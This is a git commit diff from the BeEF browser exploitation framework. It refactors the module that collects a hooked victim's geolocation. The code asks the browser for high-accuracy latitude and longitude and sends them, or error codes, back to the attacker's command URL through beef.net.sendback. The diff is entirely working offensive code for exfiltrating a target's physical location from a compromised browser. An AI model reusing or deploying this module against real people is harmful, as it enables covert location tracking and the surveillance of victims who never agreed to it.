updated physical location code
git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -9,35 +9,47 @@ beef.geolocation = {
|
|||||||
* check if browser supports the geolocation API
|
* check if browser supports the geolocation API
|
||||||
*/
|
*/
|
||||||
isGeolocationEnabled: function(){
|
isGeolocationEnabled: function(){
|
||||||
var isEnabled = false;
|
return !!navigator.geolocation;
|
||||||
|
|
||||||
if (navigator.geolocation) {
|
|
||||||
isEnabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return isEnabled;
|
|
||||||
},
|
},
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* retrieve latitude/longitude using the geolocation API
|
* retrieve latitude/longitude using the geolocation API
|
||||||
*/
|
*/
|
||||||
getVictimGeolocation: function (command_url, command_id){
|
getGeolocation: function (command_url, command_id){
|
||||||
//var result = null;
|
|
||||||
|
|
||||||
if (navigator.geolocation) {
|
if (!navigator.geolocation) {
|
||||||
navigator.geolocation.getCurrentPosition(
|
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
||||||
function(position){ //note: this is an async call
|
return;
|
||||||
var latitude = position.coords.latitude;
|
}
|
||||||
var longitude = position.coords.longitude;
|
|
||||||
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude);
|
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
||||||
|
function(position){ // success
|
||||||
|
var latitude = position.coords.latitude;
|
||||||
|
var longitude = position.coords.longitude;
|
||||||
|
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True");
|
||||||
|
|
||||||
}, function(position){
|
}, function(error){ // failure
|
||||||
beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR");
|
switch(error.code) // Returns 0-3
|
||||||
});
|
{
|
||||||
} else {
|
case 0:
|
||||||
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED");
|
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||||
}
|
return;
|
||||||
|
case 1:
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
|
||||||
|
return;
|
||||||
|
case 2:
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
|
||||||
|
return;
|
||||||
|
case 3:
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||||
|
},
|
||||||
|
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
|
||||||
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
beef.regCmp('beef.geolocation');
|
beef.regCmp('beef.geolocation');
|
||||||
@@ -1,9 +1,11 @@
|
|||||||
beef.execute(function() {
|
beef.execute(function() {
|
||||||
|
|
||||||
if(beef.geolocation.isGeolocationEnabled()){
|
if(!beef.geolocation.isGeolocationEnabled()){
|
||||||
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
|
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
|
||||||
}else{
|
return;
|
||||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||||
|
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user